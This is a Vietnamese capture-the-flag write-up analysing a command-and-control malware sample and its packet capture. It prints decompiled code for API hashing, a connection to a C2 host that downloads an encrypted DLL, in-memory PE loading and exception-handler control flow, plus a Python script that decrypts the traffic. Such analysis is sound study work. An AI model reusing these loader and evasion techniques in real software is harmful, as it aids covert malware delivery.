# Trust Me! (ASCIS2024)
>author: kAiZ3n
Nhận được 2 file : TrustMe.exe và record.pcapng
Do đây là challenge liên quan đến command&control
tôi check string thì thấy được ipaddr lạ trong file PE tiến hành xref tới hàm xử lý
## Code logic chính tại sub_88301
tại đây có 1 hàm xử lý tôi đã rename lại resolve_APIhashing_ws2_32() tại hàm này ta thấy nó gọi hàm sub_881B80 với file dll library và chuỗi hex đây là kỹ thuật resolve hashing
## Load Library Manual tại sub_881B80
- Load DLL với LoadLibraryA
- ImageDirectoryEntryToData : lấy con trỏ tới Export Table
- hàm hashing tại sub_881690
## Hashing API
```
unsigned int __fastcall sub_881690(_BYTE *a1, const char *a2)
{
char v2; // al
unsigned int v3; // ebx
unsigned int v4; // esi
const char *v5; // edi
unsigned __int64 v6; // kr00_8
unsigned int v7; // ebx
unsigned __int64 v8; // rt0
unsigned __int64 v9; // rax
unsigned __int64 v10; // rax
unsigned __int64 v11; // rax
unsigned __int64 v12; // rax
unsigned __int64 v13; // rax
unsigned __int64 v14; // rax
unsigned __int64 v15; // rax
unsigned __int64 v16; // rax
unsigned __int64 v17; // rax
unsigned __int64 v18; // rax
unsigned __int64 v19; // rax
unsigned __int64 v20; // rax
unsigned __int64 v21; // rax
unsigned __int64 v22; // rax
unsigned __int64 v23; // rax
int i; // ebx
unsigned int result; // eax
unsigned __int64 v26; // [esp-10h] [ebp-A0h]
__int64 k; // [esp-10h] [ebp-A0h]
unsigned int v28; // [esp+10h] [ebp-80h]
unsigned int v29; // [esp+14h] [ebp-7Ch]
unsigned int v30; // [esp+18h] [ebp-78h]
unsigned int v31; // [esp+1Ch] [ebp-74h]
unsigned int v32; // [esp+20h] [ebp-70h]
unsigned int v33; // [esp+24h] [ebp-6Ch]
unsigned int v34; // [esp+28h] [ebp-68h]
unsigned int v35; // [esp+2Ch] [ebp-64h]
unsigned int v36; // [esp+30h] [ebp-60h]
unsigned int v37; // [esp+34h] [ebp-5Ch]
_BYTE *v38; // [esp+40h] [ebp-50h]
unsigned int v39; // [esp+44h] [ebp-4Ch]
char v41[20]; // [esp+4Ch] [ebp-44h] BYREF
_QWORD v42[6]; // [esp+60h] [ebp-30h]
v2 = *a1;
v38 = a1;
v30 = 0x84222325;
v31 = 0x842224D8;
v33 = 0x8422268B;
v32 = 0xCBF29EE4;
v35 = 0x8422283E;
v34 = 0xCBF29FE4;
v37 = 0x842229F1;
v36 = 0xCBF2A0E4;
v3 = 0xCBF29DE4;
v29 = 0xCBF29DE4;
v4 = 0xCBF29CE4;
v5 = a2;
v6 = 0xCBF2A1E484222BA4uLL;
if ( *a1 )
{
do
{
v7 = v2;
v28 = (unsigned __int64)v2 >> 32;
HIDWORD(v8) = v4 ^ v28;
LODWORD(v8) = v30 ^ v2;
HIDWORD(v26) = v8 >> 25;
LODWORD(v26) = ((_DWORD)v8 << 7) | ((v4 ^ v28) >> 25);
v9 = 0x100000001B3LL * v26;
HIDWORD(v26) = __SPAIR64__(v9, HIDWORD(v9)) >> 5;
LODWORD(v26) = v9 >> 5;
v10 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
v30 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
HIDWORD(v8) = v29 ^ v28;
LODWORD(v8) = v31 ^ v7;
HIDWORD(v26) = v8 >> 24;
v39 = HIDWORD(v10);
LODWORD(v26) = ((v31 ^ v7) << 8) | ((v29 ^ v28) >> 24);
v11 = 0x100000001B3LL * v26;
HIDWORD(v26) = __SPAIR64__(v11, HIDWORD(v11)) >> 6;
LODWORD(v26) = v11 >> 6;
v31 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
HIDWORD(v8) = v32 ^ v28;
LODWORD(v8) = v33 ^ v7;
v29 = (v26 % 0xFFFFFFFFFFFFFFFFuLL) >> 32;
HIDWORD(v26) = v8 >> 23;
LODWORD(v26) = ((v33 ^ v7) << 9) | ((v32 ^ v28) >> 23);
v12 = 0x100000001B3LL * v26;
HIDWORD(v26) = __SPAIR64__(v12, HIDWORD(v12)) >> 7;
LODWORD(v26) = v12 >> 7;
v13 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
v33 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
HIDWORD(v8) = v34 ^ v28;
LODWORD(v8) = v35 ^ v7;
HIDWORD(v26) = v8 >> 22;
v32 = HIDWORD(v13);
LODWORD(v26) = ((v35 ^ v7) << 10) | ((v34 ^ v28) >> 22);
v14 = 0x100000001B3LL * v26;
HIDWORD(v26) = __SPAIR64__(v14, HIDWORD(v14)) >> 8;
LODWORD(v26) = v14 >> 8;
v15 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
v35 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
HIDWORD(v8) = v36 ^ v28;
LODWORD(v8) = v37 ^ v7;
HIDWORD(v26) = v8 >> 21;
v34 = HIDWORD(v15);
LODWORD(v26) = ((v37 ^ v7) << 11) | ((v36 ^ v28) >> 21);
v16 = 0x100000001B3LL * v26;
HIDWORD(v26) = __SPAIR64__(v16, HIDWORD(v16)) >> 9;
LODWORD(v26) = v16 >> 9;
v36 = (v26 % 0xFFFFFFFFFFFFFFFFuLL) >> 32;
v37 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
HIDWORD(v26) = (v6 ^ __PAIR64__(v28, v7)) >> 20;
LODWORD(v26) = (((unsigned int)v6 ^ v7) << 12) | ((HIDWORD(v6) ^ v28) >> 20);
v17 = 0x100000001B3LL * v26;
HIDWORD(v26) = __SPAIR64__(v17, HIDWORD(v17)) >> 10;
LODWORD(v26) = v17 >> 10;
v4 = v39;
v6 = v26 % 0xFFFFFFFFFFFFFFFFuLL;
v2 = *++v38;
}
while ( *v38 );
v5 = a2;
v3 = v29;
}
HIDWORD(k) = v4;
LODWORD(k) = v30 ^ (v4 >> 1);
v18 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
v42[0] = v18 ^ (HIDWORD(v18) >> 1);
HIDWORD(k) = v3;
LODWORD(k) = v31 ^ (v3 >> 1);
v19 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
HIDWORD(k) = v32;
LODWORD(k) = v33 ^ (v32 >> 1);
v42[1] = v19 ^ (HIDWORD(v19) >> 1);
v20 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
v42[2] = v20 ^ (HIDWORD(v20) >> 1);
HIDWORD(k) = v34;
LODWORD(k) = v35 ^ (v34 >> 1);
v21 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
HIDWORD(k) = v36;
LODWORD(k) = v37 ^ (v36 >> 1);
v42[3] = v21 ^ (HIDWORD(v21) >> 1);
v22 = 0xC4CEB9FE1A85EC53uLL * ((0xFF51AFD7ED558CCDuLL * k) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL * k) >> 32) >> 1));
v42[4] = v22 ^ (HIDWORD(v22) >> 1);
v23 = 0xC4CEB9FE1A85EC53uLL
* ((0xFF51AFD7ED558CCDuLL * (v6 ^ (HIDWORD(v6) >> 1))) ^ ((unsigned int)((0xFF51AFD7ED558CCDuLL
* (v6 ^ (HIDWORD(v6) >> 1))) >> 32) >> 1));
v42[5] = v23 ^ (HIDWORD(v23) >> 1);
for ( i = 0; i < 6; ++i )
{
sprintf((int)v41, (int)"%016llx", v42[i]);
result = strlen(v41) + 1;
qmemcpy((void *)&v5[strlen(v5)], v41, result);
v5 = a2;
}
return result;
}
```

mình đã sử dụng virustotal để nhận diện hash là fnv nhưng có vẻ không kết thúc tại đó nó còn kết hợp thêm kỹ thuật giống như trong MurmurHash3
Do không thể giả lập lại hàm hash mà ban đầu tôi đã đề cập sau khoảng thời gian mấy ngày mò docs cũng như tìm hiểu về API ws2_32.dll thì tôi nhận ra cách mà chương trình tạo ra một socket TCP đều dùng các FunctionCall quen thuộc (như send, recv, connect, bind, accept, listen) cùng với các các parameter dễ nhận dạng do đây là một file malware C2 nghi ngờ gửi dữ liệu từ target-attacker và ngược lại nên tôi search các function tạo một TCP connect()
sau một hồi research
https://stackoverflow.com/questions/16372700/how-to-use-getaddrinfo-to-connect-to-a-server-using-the-external-ip
thì tôi thấy trang này có một code C++ khá gần với code chúng ta và dựa vào đó tôi đã reverse lại function này
##
```
int sub_403010()
{
char *key; // ebx
int v1; // eax
_DWORD *v2; // esi
int WSAStartUp; // eax
PADDRINFOA *v4; // edi
int (__stdcall *getaddrinfo)(const char *, const char *, _DWORD *, _DWORD *); // eax
int hostAddress; // eax
PADDRINFOA addrinfo; // eax
int socket_return; // eax
int v9; // ecx
int connect_return; // eax
int v11; // eax
_DWORD *recv; // esi
_DWORD *send; // eax
int len_key; // esi
int data; // eax
int v16; // esi
_DWORD *recv1; // edi
void *v18; // edi
int v19; // esi
_DWORD *recv2; // ebx
int v21; // edi
int keyDecryptData; // eax
int *v23; // esi
int handle; // eax
const char *key_random; // eax
int v26; // eax
void *v28; // [esp+70h] [ebp-24h]
int lenkey; // [esp+74h] [ebp-20h]
_BYTE *dataencRecv; // [esp+78h] [ebp-1Ch]
unsigned int ss; // [esp+8Ch] [ebp-8h] BYREF
unsigned int picEnc; // [esp+90h] [ebp-4h] BYREF
int savedregs; // [esp+94h] [ebp+0h] BYREF
malloc(8u);
CreatePicTureBMP();
ss = 4;
key = (char *)malloc(0x14u);
v28 = dword_420398;
*(_OWORD *)key = 0LL;
*((_DWORD *)key + 4) = 0;
memset(v28, 0, '\x02\xCC');
v1 = dword_4203B0(0);
dword_4203A4(v1);
v2 = resolve_APIhashing_ws2_32();
WSAStartUp = ((int (__stdcall *)(int, _DWORD *))v2[114])(514, v2);
v2[111] = WSAStartUp;
if ( WSAStartUp )
ExitProcess(1u);
v2[103] = 0;
v4 = (PADDRINFOA *)(v2 + 101);
v2[107] = 0;
v2[108] = 0;
v2[109] = 0;
v2[110] = 0;
getaddrinfo = (int (__stdcall *)(const char *, const char *, _DWORD *, _DWORD *))v2[115];
v2[104] = 0;
v2[105] = 1;
v2[106] = 6;
hostAddress = getaddrinfo("192.168.89.136", "31337", v2 + 103, v2 + 101);
v2[111] = hostAddress;
if ( hostAddress )
goto LABEL_4;
addrinfo = *v4;
v2[102] = *v4;
if ( addrinfo )
{
while ( 1 )
{
socket_return = ((int (__stdcall *)(int, int, int))v2[116])(
addrinfo->ai_family,
addrinfo->ai_socktype,
addrinfo->ai_protocol);
v2[100] = socket_return;
((void (__stdcall *)(int, int, int, _DWORD *, int))v2[117])(socket_return, 0xFFFF, 4101, v2 + 113, 4);
v9 = v2[100];
if ( v9 == -1 )
break;
connect_return = ((int (__stdcall *)(int, _DWORD, _DWORD))v2[119])(
v9,
*(_DWORD *)(v2[102] + 24),
*(_DWORD *)(v2[102] + 16));
v2[111] = connect_return;
if ( connect_return == -1 )
{
((void (__stdcall *)(_DWORD))v2[120])(v2[100]);// v2[120]v2[100] == closesocket
v11 = v2[102];
v2[100] = -1;
addrinfo = *(PADDRINFOA *)(v11 + 28);
v2[102] = addrinfo;
if ( addrinfo )
continue;
}
goto LABEL_9;
}
LABEL_4:
((void (*)(void))v2[118])();
ExitProcess(1u);
}
LABEL_9:
freeaddrinfo(*v4);
if ( resolve_APIhashing_ws2_32()[100] != -1 ) // resolve_APIhashing_ws2_32()[100] = connect()
{
recv = resolve_APIhashing_ws2_32();
if ( !((int (__stdcall *)(_DWORD, char *, int, _DWORD))recv[122])(recv[100], key, 512, 0) )// recv[122]recv[100] == recv
{
recv[100] = 0;
*((_BYTE *)recv + 496) = 0;
}
send = resolve_APIhashing_ws2_32();
((void (__stdcall *)(_DWORD, unsigned int *, int, _DWORD))send[121])(send[100], &ss, 1, 0);// v29 = 4 (gửi 1 byte)
ss = strlen((const char *)create_key_random((int)&savedregs));
RC4_sendEnc((int)&ss, 4, key);
len_key = strlen((const char *)create_key_random((int)&savedregs));
data = create_key_random((int)&savedregs);
RC4_sendEnc(data, len_key, key); // ma hoa
v16 = nameFileDLL + 4;
recv1 = resolve_APIhashing_ws2_32();
if ( !((int (__stdcall *)(_DWORD, int, int, _DWORD))recv1[122])(recv1[100], v16, 4, 0) )// nhan tu 31337 -> 4 bytes 002a0000 kich thuoc file DLL
{
recv1[100] = 0;
*((_BYTE *)recv1 + 496) = 0;
}
v18 = malloc(*(_DWORD *)(nameFileDLL + 4));
v19 = *(_DWORD *)(nameFileDLL + 4);
*(_DWORD *)(nameFileDLL + 8) = v18;
recv2 = resolve_APIhashing_ws2_32();
if ( !((int (__stdcall *)(_DWORD, void *, int, _DWORD))recv2[122])(recv2[100], v18, v19, 0) )// data file dll đã bị encrypted
{
recv2[100] = 0;
*((_BYTE *)recv2 + 496) = 0;
}
lenkey = strlen((const char *)create_key_random((int)&savedregs));
v21 = nameFileDLL;
dataencRecv = *(_BYTE **)(nameFileDLL + 8);
keyDecryptData = create_key_random((int)&savedregs);
rc4_encrypt(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4), keyDecryptData, lenkey, dataencRecv);// *(dword_4203B4+4) = key && *(dword_4203B4+8) = data
v23 = (int *)nameFileDLL;
handle = LoadDLL(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4));
*v23 = handle;
if ( !handle )
sub_401600("Can't load library from memory.\n");
if ( !*(_DWORD *)nameFileDLL )
{
_loaddll((char *)0xFFFFFFFF);
JUMPOUT(0x4033B3);
}
dword_420394 = CreatePicTureBMP();
picEnc = *(_DWORD *)dword_420394 / (unsigned int)lendataEnc;
key_random = (const char *)create_key_random((int)&savedregs);// gui size cua pic
RC4_sendEnc((int)&picEnc, 4, key_random);
}
dword_42039C(1, sub_402E80);
v26 = dword_4203B0(5);
dword_4203A4(v26);
return 0;
}
```
Giai đoạn phân tích đi đến được đây coi như cũng dễ thở hơn chút vì để rename cũng như handle hết hàm này cũng mất khá nhiều thời gian
đầu tiên sẽ khởi tạo WSASTARTUP và getaddrinfo để lấy thông tin External IP
nếu getaddrinfo thất bại chương trình sẽ return về **nonzero hay còn gọi là error code** sẽ đi tới LABEL_4
và dùng ExitProcess() để terminal chương trình.
nếu getaddrinfo thành công return 0

và trả về các object của struct attackInfo
tiếp theo chương trình sẽ tạo một socket với attackrinfo tại v2[116]

Nếu socket tạo thành công sẽ gọi functionName connect() từ ws2_32.dll đã resolved APIhash với v2[119]
và v2[120] có thể là closeconnect()
khi tạo thành công connect() chương trình đi tới LABLE_9 bắt đầu nhận và gửi payload thông qua socket này
## tại LABEL_9
nhận diện các functioncall thông qua các parameter thông dụng

đầu tiên tại target nhận một key với buffer 512 từ attacker
filter wireshark : ip.addr==192.168.89.136 and tcp.srcport==31337

**key nhận từ attacker : "I'm_4_Gat3_K33per"**
target sẽ gửi lại cho attacker 1 byte payload = 4 (do tại bước này mình vẫn chưa hiểu attacker send 1 bytes này làm gì nên mình sẽ giải thích ở dưới sau nếu các bạn thắc mắc hãy kéo xuống dưới)
```
send = resolve_APIhashing_ws2_32();
((void (__stdcall *)(_DWORD, unsigned int *, int, _DWORD))send[121])(send[100], &ss, 1, 0);// v29 = 4 (gửi 1 byte)
```
theo dõi bên wireshark
filter wireshark : ip.addr==192.168.89.136 and tcp.dstport==31337

tiếp theo chương trình sử dụng hàm create_key_random((int) &savedregs)) với để tạo khóa
## Create_key_random
```
int __usercall create_string@<eax>(int a1@<ebp>)
{
int result; // eax
unsigned int v2; // eax
_BYTE *v3; // edi
unsigned int i; // esi
char v5[64]; // [esp-40h] [ebp-4Ch] BYREF
int v6; // [esp+0h] [ebp-Ch]
void *v7; // [esp+4h] [ebp-8h]
void *retaddr; // [esp+Ch] [ebp+0h]
v6 = a1;
v7 = retaddr;
result = dword_420360;
if ( !dword_420360 )
{
v2 = time(0);
srand(v2);
strcpy(v5, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
v3 = malloc(0x40u);
for ( i = 0; i < 0x40; ++i )
v3[i] = v5[rand() % 52];
v3[64] = 0;
result = (int)v3;
dword_420360 = (int)v3;
}
return result;
}
```
hàm sẽ tạo khóa 64 bytes từ random char bằng cách lấy time hiện tại
và nó sẽ mã hóa key này với key mà attacker đã gửi đầu tiên và send độ dài key đã bị mã thông qua hàm RC4_send
## chức năng hàm RC4_send()
```
void __fastcall RC4_sendEnc(int data, int lenkey, const char *key)
{
size_t v4; // esi
_BYTE *enc; // ebx
_DWORD *send; // eax
v4 = lenkey + 1;
enc = malloc(lenkey + 1);
memset(enc, 0, v4);
if ( resolve_APIhashing_ws2_32()[100] != -1 )
{
rc4_encrypt(data, lenkey, (int)key, strlen(key), enc);
send = resolve_APIhashing_ws2_32();
((void (__stdcall *)(_DWORD, _BYTE *, int, _DWORD))send[121])(send[100], enc, lenkey, 0);
Sleep(30u);
}
}
```
nó sẽ dùng rc4 để encrypt và sử dụng resolve_APIhashing_ws2_32() để lấy functionName : send() từ ws2_32.dll chức năng của hàm resolve_APIhashing_ws2_32 mình đã đề cập ở trên
đây là payload đã send 4bytes len của key và ngay sau đó là key
ban đầu tại đây mình nghĩ sẽ tạo ra 2 packet trên file pcapng và mình kh thấy packet nào hợp lệ sau khoảng thời gian mình nhận ra nó đã đc gửi cùng với nhau trong 1 packet và đây là payload của nó

vì đây là packet t2 sau khi send 0x04
payload có 68bytes : chia ra 2 phần
```
encrypted-key-length :86dad7bb
encrypted-key : 918e87d161556ad2e40a89010adfe3aa41ca44764e786b738047456cc80d021e7f60b56776b858225d45099f0e99b62f5758977fde740bcc2be36dbf403eb860
```
đã có đầy đủ thông tin về key và tiến hành xử lý decrypt RC4
```
sizekey = 0x40 = 64bytes đúng với logic tạo key
key = "WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM"
```

có key rồi decrypt luôn payload tiếp theo đã đc gửi từ attacker tới target đầu tiên là len data tiếp theo là data và sau đó bị encrypted bởi rc4_encrypt sau đó có vẻ như nó load file này vào memory và chạy file
## Load file Drop (chức năng tinh chỉnh key)
```
recv2 = resolve_APIhashing_ws2_32();
if ( !((int (__stdcall *)(_DWORD, void *, int, _DWORD))recv2[122])(recv2[100], v18, v19, 0) )// data file dll đã bị encrypted
{
recv2[100] = 0;
*((_BYTE *)recv2 + 496) = 0;
}
lenkey = strlen((const char *)create_key_random((int)&savedregs));
v21 = fileDLLdrop;
dataencRecv = *(_BYTE **)(fileDLLdrop + 8);
keyDecryptData = create_key_random((int)&savedregs);
rc4_encrypt(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4), keyDecryptData, lenkey, dataencRecv);// *(dword_4203B4+4) = key && *(dword_4203B4+8) = data
v23 = (int *)fileDLLdrop;
handle = LoadDLL(*(_DWORD *)(v21 + 8), *(_DWORD *)(v21 + 4));
*v23 = handle;
```
chức năng của hàm LoadDLL là load một file dll,exe vào memory như một dạng PELoader.
và return về một dạng handler
kỹ thuật này được gọi là Virtual Machine-based PE Loader
trả về một con trỏ (pointer) đến Entry Point hoặc Base Address của PE đã được map vào bộ nhớ.
và attacker sẽ import manual các functionName của file PE này vào sử dụng
sau khi PEloader thành công attacker đã tạo một file BMP
và sau đó gửi size của file

do thời gian gửi payload chênh lệch rất ít nên hàm tạo khóa sẽ cho ra các khóa giống nhau
```
filter wirshark : ip.addr==192.168.89.136 and tcp.dstport==51392 and tcp.srcport==31337
với gửi len data ở gói packetid == 10
và data ở gói packetid == 11 trở đi để thuận tiện ta sẽ lấy payload ở TCP stream
```

download file về
## AddVectoredExceptionHandler

```
dword_42039C nó là một APIwindows AddVectoredExceptionHandler
một dạng bắn ExceptionCode để xử lý logic code thật
```

sau khi fix
```
LONG __stdcall Handler(struct _EXCEPTION_POINTERS *ExceptionInfo)
{
DWORD ExceptionCode; // eax
_DWORD *v2; // eax
_DWORD *recv; // esi
void *v5; // edx
PCONTEXT ContextRecord; // eax
DWORD Eip; // ecx
DWORD v8; // ecx
char v9; // [esp+13h] [ebp-1h] BYREF
if ( resolve_APIhashing_ws2_32()[100] == -1 || !*(_DWORD *)fileDLLdrop )
{
ExceptionInfo->ContextRecord->Eip += 5;
return -1;
}
ExceptionCode = ExceptionInfo->ExceptionRecord->ExceptionCode;
if ( ExceptionCode == 0xC0000005 ) // exception code
{
v2 = (_DWORD *)dword_8A0394;
qmemcpy(dword_8A0398, ExceptionInfo->ContextRecord, 716u);
if ( dataPic <= (int)(*v2 / (unsigned int)lendataEnc) )
{
recv = resolve_APIhashing_ws2_32();
if ( !((int (__stdcall *)(_DWORD, char *, int, _DWORD))recv[122])(recv[100], &v9, 1, 0) )
{
recv[100] = 0;
*((_BYTE *)recv + 496) = 0;
}
switch ( v9 ) // nhận data option tu attacker
{ // cac case nay se goi ham cua file DLLdrop
case 0:
ExceptionInfo->ContextRecord->Eip = (DWORD)gen0;// gán địa chỉ gen0 cho EIP để thực thi tiếp tục tại địa chỉ đó
return -1;
case 1:
ExceptionInfo->ContextRecord->Eip = (DWORD)gen1;
return -1;
case 2:
ExceptionInfo->ContextRecord->Eip = (DWORD)gen2;
return -1;
case 3:
ExceptionInfo->ContextRecord->Eip = (DWORD)gen3;
return -1;
}
}
return -1;
}
if ( ExceptionCode != 0x80000003 )
return -1;
v5 = dword_8A0398;
if ( !*((_DWORD *)dword_8A0398 + 46) )
return -1;
qmemcpy(ExceptionInfo->ContextRecord, dword_8A0398, sizeof(CONTEXT));
ContextRecord = ExceptionInfo->ContextRecord;
Eip = ContextRecord->Eip;
if ( lendataEnc )
v8 = Eip - 2;
else
v8 = Eip + 5;
ContextRecord->Eip = v8;
memset(v5, 0, 716u);
return -1;
}
```
## Solution
Trong Windows ta có thể chúng ta có thể bắt Exception và trỏ EIP tới một địa chỉ hàm mà ta mong muốn và thực thi tiếp logic code tại đó
Các EIP được gán cho địa chỉ của gen0-gen3 (các hàm này bạn có thể xem ở file drop)
Solution:
- Target sẽ nhận 1 key từ attacker
- Sau đó dùng key đó để làm key cho một key dùng để encrypt-decrypt payload và key này được tạo thông qua hàm create_random_string()
- Download một file exe/dll về máy target và dùng key(được tạo từ hàm random) để decrypting
- Load Dll vào program và sử dụng các hàm của nó (gen0-gen3) để customkey, Tạo một file bmp
- Thêm một các vectorException và gán EIP cho các hàm gen0-gen3 mỗi lần nhận option từ attacker thì target sẽ gửi lại size payload và chạy switch-case theo từng option phù hợp để tạo customkey , mã hóa và send payload cho attacker.
script solve.py
```
from scapy.all import rdpcap, Raw,IP,TCP
def rc4_decrypt(key: bytes, data: bytes) -> bytes:
S = list(range(256))
j = 0
out = bytearray()
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
out.append(byte ^ K)
return bytes(out)
def gen0_customKey(key: bytes) -> bytes:
return key[::-1]
def gen1_customKey(key: bytes) -> bytes:
s = key.decode()
flipped = ''
for c in s:
if c.islower():
flipped += c.upper()
elif c.isupper():
flipped += c.lower()
else:
flipped += c
return flipped.encode()
def gen2_customKey(key: bytes) -> bytes:
return key[-1:] + key[:-1]
def gen3_customKey(key: bytes) -> bytes:
result = bytearray()
for b in key:
if 65 <= b <= 90: # 'A' - 'Z'
v = ((b - 52) % 26) + 65
elif 97 <= b <= 122: # 'a' - 'z'
v = ((b - 84) % 26) + 97
else:
v = b
result.append(v)
return bytes(result)
initialKey = b"WTPjWbJafqNPqrZFswaijmyVKMddOrKzukegbVDpXJqDfulPDmDwDasqTwxvibnM"
packets = rdpcap("record.pcapng")
pic = b""
payload = b""
option = []
size = []
for packet in packets[24:]:
if IP in packet and TCP in packet:
src = packet[IP].src
dst = packet[IP].dst
if src == "192.168.89.136" and dst == "192.168.89.1":
if Raw in packet:
option.append(packet[Raw].load)
if(len(option) >= 2):
match option[-2]:
case b'\x00':
key = gen0_customKey(initialKey)
pic += rc4_decrypt(key,payload)
case b'\x01':
key = gen1_customKey(initialKey)
pic += rc4_decrypt(key,payload)
case b'\x02':
key = gen2_customKey(initialKey)
pic += rc4_decrypt(key,payload)
case b'\x03':
key = gen3_customKey(initialKey)
pic += rc4_decrypt(key,payload)
payload = b''
else: continue
elif src == "192.168.89.1" and dst == "192.168.89.136":
if Raw in packet:
raw_data = packet[Raw].load
if len(raw_data) == 4:
if(len(option) >= 2):
match option[-1]:
case b'\x00':
key = gen0_customKey(initialKey)
size.append(rc4_decrypt(key,packet[Raw].load))
case b'\x01':
key = gen1_customKey(initialKey)
size.append(rc4_decrypt(key,packet[Raw].load))
case b'\x02':
key = gen2_customKey(initialKey)
size.append(rc4_decrypt(key,packet[Raw].load))
case b'\x03':
key = gen3_customKey(initialKey)
size.append(rc4_decrypt(key,packet[Raw].load))
else:
payload += raw_data
for i in range(len(size)):
print(f"size payload của option {option[i]}: {size[i]}")
with open("pic.bmp", "wb") as f:
f.write(pic)
```

PS: Cảm ơn mọi người đã đọc và cảm ơn author vì qua challenge này mình học thêm được rất nhiều thứ mới lạ.